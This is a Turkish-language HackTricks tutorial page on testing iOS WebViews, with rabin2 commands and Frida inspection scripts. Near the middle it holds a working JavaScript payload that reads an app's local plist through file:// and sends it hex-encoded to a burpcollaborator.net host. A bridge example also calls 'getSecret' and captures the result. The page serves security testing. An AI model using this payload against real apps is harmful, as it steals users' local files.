mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
279 lines
16 KiB
Markdown
279 lines
16 KiB
Markdown
# iOS WebViews
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
Bu sayfanın kodu [buradan](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md) alınmıştır. Daha fazla detay için sayfayı kontrol edin.
|
||
|
||
## WebView türleri
|
||
|
||
WebView'lar, uygulamalar içinde etkileşimli web içeriği görüntülemek için kullanılır. Farklı WebView türleri, iOS uygulamaları için farklı işlevsellikler ve güvenlik özellikleri sunar. İşte kısa bir genel bakış:
|
||
|
||
- **UIWebView**, **JavaScript**'in devre dışı bırakılmasını desteklemediği için iOS 12'den itibaren artık önerilmemektedir; bu da onu script enjeksiyonu ve **Cross-Site Scripting (XSS)** saldırılarına karşı savunmasız hale getirir.
|
||
|
||
- **WKWebView**, uygulamalara web içeriği eklemek için tercih edilen seçenektir ve içerik üzerinde geliştirilmiş kontrol ve güvenlik özellikleri sunar. **JavaScript** varsayılan olarak etkindir, ancak gerekirse devre dışı bırakılabilir. Ayrıca, **JavaScript**'in otomatik olarak pencereler açmasını önlemek için özellikler destekler ve tüm içeriğin güvenli bir şekilde yüklenmesini sağlar. Ayrıca, **WKWebView**'ın mimarisi, bellek bozulması riskini ana uygulama sürecini etkilemeyecek şekilde en aza indirir.
|
||
|
||
- **SFSafariViewController**, uygulamalar içinde standart bir web tarayıcı deneyimi sunar; okunabilir bir adres alanı, paylaşım ve navigasyon düğmeleri ile Safari'de içerik açmak için doğrudan bir bağlantı içeren belirli bir düzeni ile tanınır. **WKWebView**'ın aksine, **SFSafariViewController**'da **JavaScript** devre dışı bırakılamaz; ayrıca Safari ile çerezleri ve verileri paylaşır, bu da kullanıcı gizliliğini uygulamadan korur. App Store yönergelerine göre belirgin bir şekilde görüntülenmelidir.
|
||
```javascript
|
||
// Example of disabling JavaScript in WKWebView:
|
||
WKPreferences *preferences = [[WKPreferences alloc] init];
|
||
preferences.javaScriptEnabled = NO;
|
||
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
||
config.preferences = preferences;
|
||
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
||
```
|
||
## WebViews Konfigürasyon Keşfi Özeti
|
||
|
||
### **Statik Analiz Genel Görünümü**
|
||
|
||
**WebViews** konfigürasyonlarını incelerken, iki ana tür üzerinde durulmaktadır: **UIWebView** ve **WKWebView**. Bu WebView'leri bir ikili dosya içinde tanımlamak için, belirli sınıf referansları ve başlatma yöntemlerini arayan komutlar kullanılmaktadır.
|
||
|
||
- **UIWebView Tanımlaması**
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
||
```
|
||
Bu komut, ikili dosyada **UIWebView** ile ilgili metin dizelerini arayarak örneklerini bulmaya yardımcı olur.
|
||
|
||
- **WKWebView Tanımlama**
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
||
```
|
||
Benzer şekilde, **WKWebView** için bu komut, kullanımını gösteren metin dizelerini ikili dosyada arar.
|
||
|
||
Ayrıca, bir **WKWebView**'in nasıl başlatıldığını bulmak için, başlatılmasıyla ilgili yöntem imzasını hedef alan aşağıdaki komut çalıştırılır:
|
||
```bash
|
||
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
||
```
|
||
#### **JavaScript Yapılandırma Doğrulaması**
|
||
|
||
**WKWebView** için, JavaScript'in devre dışı bırakılmasının gerekli olmadıkça en iyi uygulama olduğu vurgulanmaktadır. Derlenmiş ikili dosya, `javaScriptEnabled` özelliğinin `false` olarak ayarlandığını doğrulamak için aranır, böylece JavaScript'in devre dışı olduğu garanti edilir:
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
||
```
|
||
#### **Sadece Güvenli İçerik Doğrulaması**
|
||
|
||
**WKWebView**, **UIWebView** ile karşılaştırıldığında karışık içerik sorunlarını tanımlama yeteneği sunar. Bu, tüm sayfa kaynaklarının güvenli bağlantılar üzerinden yüklendiğinden emin olmak için `hasOnlySecureContent` özelliği kullanılarak kontrol edilir. Derlenmiş ikili dosyada arama şu şekilde gerçekleştirilir:
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||
```
|
||
### **Dinamik Analiz İçgörüleri**
|
||
|
||
Dinamik analiz, WebView örneklerini ve özelliklerini incelemeyi içerir. Bu amaçla `webviews_inspector.js` adlı bir betik kullanılır ve `UIWebView`, `WKWebView` ve `SFSafariViewController` örneklerine odaklanır. Bulunan örnekler hakkında, URL'ler ve JavaScript ile güvenli içerikle ilgili ayarlar da dahil olmak üzere bilgi kaydeder.
|
||
|
||
Yığın incelemesi, WebView örneklerini tanımlamak ve `javaScriptEnabled` ve `hasonlysecurecontent` özelliklerini kontrol etmek için `ObjC.choose()` kullanılarak gerçekleştirilebilir.
|
||
```javascript:webviews_inspector.js
|
||
ObjC.choose(ObjC.classes["UIWebView"], {
|
||
onMatch: function (ui) {
|
||
console.log("onMatch: ", ui)
|
||
console.log("URL: ", ui.request().toString())
|
||
},
|
||
onComplete: function () {
|
||
console.log("done for UIWebView!")
|
||
},
|
||
})
|
||
|
||
ObjC.choose(ObjC.classes["WKWebView"], {
|
||
onMatch: function (wk) {
|
||
console.log("onMatch: ", wk)
|
||
console.log("URL: ", wk.URL().toString())
|
||
},
|
||
onComplete: function () {
|
||
console.log("done for WKWebView!")
|
||
},
|
||
})
|
||
|
||
ObjC.choose(ObjC.classes["SFSafariViewController"], {
|
||
onMatch: function (sf) {
|
||
console.log("onMatch: ", sf)
|
||
},
|
||
onComplete: function () {
|
||
console.log("done for SFSafariViewController!")
|
||
},
|
||
})
|
||
|
||
ObjC.choose(ObjC.classes["WKWebView"], {
|
||
onMatch: function (wk) {
|
||
console.log("onMatch: ", wk)
|
||
console.log(
|
||
"javaScriptEnabled:",
|
||
wk.configuration().preferences().javaScriptEnabled()
|
||
)
|
||
},
|
||
})
|
||
|
||
ObjC.choose(ObjC.classes["WKWebView"], {
|
||
onMatch: function (wk) {
|
||
console.log("onMatch: ", wk)
|
||
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
|
||
},
|
||
})
|
||
```
|
||
Script şu şekilde çalıştırılır:
|
||
```bash
|
||
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||
```
|
||
**Ana Sonuçlar**:
|
||
|
||
- WebView örnekleri başarıyla bulunmuş ve incelenmiştir.
|
||
- JavaScript etkinleştirilmesi ve güvenli içerik ayarları doğrulanmıştır.
|
||
|
||
Bu özet, WebView yapılandırmalarını statik ve dinamik yaklaşımlar aracılığıyla analiz etme sürecinde yer alan kritik adımları ve komutları kapsar, JavaScript etkinleştirilmesi ve karışık içerik tespiti gibi güvenlik özelliklerine odaklanır.
|
||
|
||
## WebView Protokol Yönetimi
|
||
|
||
WebView'lerde içerik yönetimi, özellikle `http(s)://`, `file://` ve `tel://` gibi çeşitli protokollerle çalışırken kritik bir unsurdur. Bu protokoller, uygulamalar içinde hem uzaktan hem de yerel içeriğin yüklenmesini sağlar. Yerel içerik yüklenirken, kullanıcıların dosya adını veya yolunu etkilemesini ve içeriği düzenlemesini önlemek için önlemler alınması gerektiği vurgulanmaktadır.
|
||
|
||
**WebView'ler**, içerik yüklemek için farklı yöntemler sunar. Artık kullanılmayan **UIWebView** için `loadHTMLString:baseURL:` ve `loadData:MIMEType:textEncodingName:baseURL:` gibi yöntemler kullanılır. Diğer yandan, **WKWebView**, web içeriği için `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` ve `loadRequest:` yöntemlerini kullanır. Yerel dosyaları yüklemek için genellikle `pathForResource:ofType:`, `URLForResource:withExtension:` ve `init(contentsOf:encoding:)` gibi yöntemler kullanılır. `loadFileURL:allowingReadAccessToURL:` yöntemi, belirli bir URL veya dizini WebView'e yükleme yeteneği ile özellikle dikkat çekicidir; eğer bir dizin belirtilirse hassas verileri açığa çıkarabilir.
|
||
|
||
Bu yöntemleri kaynak kodunda veya derlenmiş ikili dosyada bulmak için aşağıdaki gibi komutlar kullanılabilir:
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
||
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
||
```
|
||
**Dosya erişimi** ile ilgili olarak, UIWebView evrensel olarak buna izin verirken, WKWebView dosya URL'lerinden erişimi yönetmek için `allowFileAccessFromFileURLs` ve `allowUniversalAccessFromFileURLs` ayarlarını tanıtır; her ikisi de varsayılan olarak false'dur.
|
||
|
||
Güvenlik ayarlarını incelemek için bir Frida script örneği sağlanmıştır:
|
||
```bash
|
||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||
onMatch: function (wk) {
|
||
console.log('onMatch: ', wk);
|
||
console.log('URL: ', wk.URL().toString());
|
||
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
|
||
console.log('allowFileAccessFromFileURLs: ',
|
||
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
|
||
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||
console.log('allowUniversalAccessFromFileURLs: ',
|
||
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
|
||
},
|
||
onComplete: function () {
|
||
console.log('done for WKWebView!');
|
||
}
|
||
});
|
||
```
|
||
Son olarak, yerel dosyaları dışa aktarmayı amaçlayan bir JavaScript yükü, yanlış yapılandırılmış WebView'larla ilişkili potansiyel güvenlik riskini göstermektedir. Bu yük, dosya içeriklerini sunucuya iletmeden önce hex formatına kodlar ve WebView uygulamalarında sıkı güvenlik önlemlerinin önemini vurgular.
|
||
```javascript
|
||
String.prototype.hexEncode = function () {
|
||
var hex, i
|
||
var result = ""
|
||
for (i = 0; i < this.length; i++) {
|
||
hex = this.charCodeAt(i).toString(16)
|
||
result += ("000" + hex).slice(-4)
|
||
}
|
||
return result
|
||
}
|
||
|
||
var xhr = new XMLHttpRequest()
|
||
xhr.onreadystatechange = function () {
|
||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||
var xhr2 = new XMLHttpRequest()
|
||
xhr2.open(
|
||
"GET",
|
||
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
|
||
xhr.responseText.hexEncode(),
|
||
true
|
||
)
|
||
xhr2.send(null)
|
||
}
|
||
}
|
||
xhr.open(
|
||
"GET",
|
||
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
|
||
true
|
||
)
|
||
xhr.send(null)
|
||
```
|
||
## WebView'ler Üzerinden Açığa Çıkan Yerel Yöntemler
|
||
|
||
## iOS'ta WebView Yerel Arayüzlerini Anlamak
|
||
|
||
iOS 7'den itibaren, Apple **WebView'deki JavaScript ile yerel** Swift veya Objective-C nesneleri arasında iletişim için API'ler sağladı. Bu entegrasyon esasen iki yöntemle sağlanmaktadır:
|
||
|
||
- **JSContext**: Bir Swift veya Objective-C bloğu, bir `JSContext` içindeki bir tanımlayıcıya bağlandığında otomatik olarak bir JavaScript fonksiyonu oluşturulur. Bu, JavaScript ve yerel kod arasında sorunsuz bir entegrasyon ve iletişim sağlar.
|
||
- **JSExport Protokolü**: `JSExport` protokolünü miras alarak, yerel özellikler, örnek yöntemler ve sınıf yöntemleri JavaScript'e açılabilir. Bu, JavaScript ortamında yapılan herhangi bir değişikliğin yerel ortamda yansıtıldığı ve tersinin de geçerli olduğu anlamına gelir. Ancak, bu yöntemle hassas verilerin istemeden açığa çıkmadığından emin olmak önemlidir.
|
||
|
||
### Objective-C'de `JSContext`'e Erişim
|
||
|
||
Objective-C'de, bir `UIWebView` için `JSContext` aşağıdaki kod satırıyla alınabilir:
|
||
```objc
|
||
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
||
```
|
||
### `WKWebView` ile İletişim
|
||
|
||
`WKWebView` için, `JSContext`'e doğrudan erişim mevcut değildir. Bunun yerine, JavaScript ile yerel iletişim sağlamak için `postMessage` fonksiyonu aracılığıyla mesaj iletimi kullanılır. Bu mesajlar için işleyiciler aşağıdaki gibi ayarlanır, böylece JavaScript yerel uygulama ile güvenli bir şekilde etkileşimde bulunabilir:
|
||
```swift
|
||
func enableJavaScriptBridge(_ enabled: Bool) {
|
||
options_dict["javaScriptBridge"]?.value = enabled
|
||
let userContentController = wkWebViewConfiguration.userContentController
|
||
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
|
||
|
||
if enabled {
|
||
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
|
||
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
|
||
}
|
||
}
|
||
```
|
||
### Etkileşim ve Test
|
||
|
||
JavaScript, bir script mesaj işleyici tanımlayarak yerel katmanla etkileşimde bulunabilir. Bu, bir web sayfasından yerel işlevleri çağırmak gibi işlemlere olanak tanır:
|
||
```javascript
|
||
function invokeNativeOperation() {
|
||
value1 = document.getElementById("value1").value
|
||
value2 = document.getElementById("value2").value
|
||
window.webkit.messageHandlers.javaScriptBridge.postMessage([
|
||
"multiplyNumbers",
|
||
value1,
|
||
value2,
|
||
])
|
||
}
|
||
|
||
// Alternative method for calling exposed JavaScript functions
|
||
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
||
```
|
||
Yerel bir işlev çağrısının sonucunu yakalamak ve manipüle etmek için, HTML içindeki geri çağırma işlevini geçersiz kılmak mümkündür:
|
||
```html
|
||
<html>
|
||
<script>
|
||
document.location = "javascriptbridge://getSecret"
|
||
function javascriptBridgeCallBack(name, result) {
|
||
alert(result)
|
||
}
|
||
</script>
|
||
</html>
|
||
```
|
||
Yerel taraf, `JavaScriptBridgeMessageHandler` sınıfında gösterildiği gibi JavaScript çağrısını işler; burada sayıların çarpılması gibi işlemlerin sonuçları işlenir ve görüntüleme veya daha fazla manipülasyon için JavaScript'e geri gönderilir:
|
||
```swift
|
||
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
||
// Handling "multiplyNumbers" operation
|
||
case "multiplyNumbers":
|
||
let arg1 = Double(messageArray[1])!
|
||
let arg2 = Double(messageArray[2])!
|
||
result = String(arg1 * arg2)
|
||
// Callback to JavaScript
|
||
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
|
||
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
||
}
|
||
```
|
||
## iOS WebView'ları Hata Ayıklama
|
||
|
||
(Tutorial based on the one from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
||
|
||
iOS webview'ları içindeki web içeriğini etkili bir şekilde hata ayıklamak için, `console.log()`'a gönderilen mesajların Xcode günlüklerinde görüntülenmemesi nedeniyle Safari'nin geliştirici araçlarını içeren özel bir kurulum gereklidir. İşte ana adımları ve gereksinimleri vurgulayan basitleştirilmiş bir rehber:
|
||
|
||
- **iOS Cihazında Hazırlık**: Safari Web Inspector, iOS cihazınızda etkinleştirilmelidir. Bu, **Ayarlar > Safari > Gelişmiş** bölümüne giderek ve _Web Inspector_ seçeneğini etkinleştirerek yapılır.
|
||
|
||
- **macOS Cihazında Hazırlık**: macOS geliştirme makinenizde, Safari içinde geliştirici araçlarını etkinleştirmeniz gerekir. Safari'yi başlatın, **Safari > Tercihler > Gelişmiş** bölümüne erişin ve _Geliştir menüsünü göster_ seçeneğini seçin.
|
||
|
||
- **Bağlantı ve Hata Ayıklama**: iOS cihazınızı macOS bilgisayarınıza bağladıktan ve uygulamanızı başlattıktan sonra, macOS cihazınızdaki Safari'yi kullanarak hata ayıklamak istediğiniz webview'ı seçin. Safari'nin menü çubuğunda _Geliştir_ bölümüne gidin, iOS cihazınızın adının üzerine gelerek webview örneklerinin bir listesini görün ve incelemek istediğiniz örneği seçin. Bu amaçla yeni bir Safari Web Inspector penceresi açılacaktır.
|
||
|
||
Ancak, sınırlamaların farkında olun:
|
||
|
||
- Bu yöntemle hata ayıklama, Safari'ye dayandığı için bir macOS cihazı gerektirir.
|
||
- Sadece Xcode aracılığıyla cihazınıza yüklenen uygulamalardaki webview'lar hata ayıklama için uygundur. App Store veya Apple Configurator aracılığıyla yüklenen uygulamalardaki webview'lar bu şekilde hata ayıklanamaz.
|
||
|
||
## Referanslar
|
||
|
||
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
||
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||
- [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|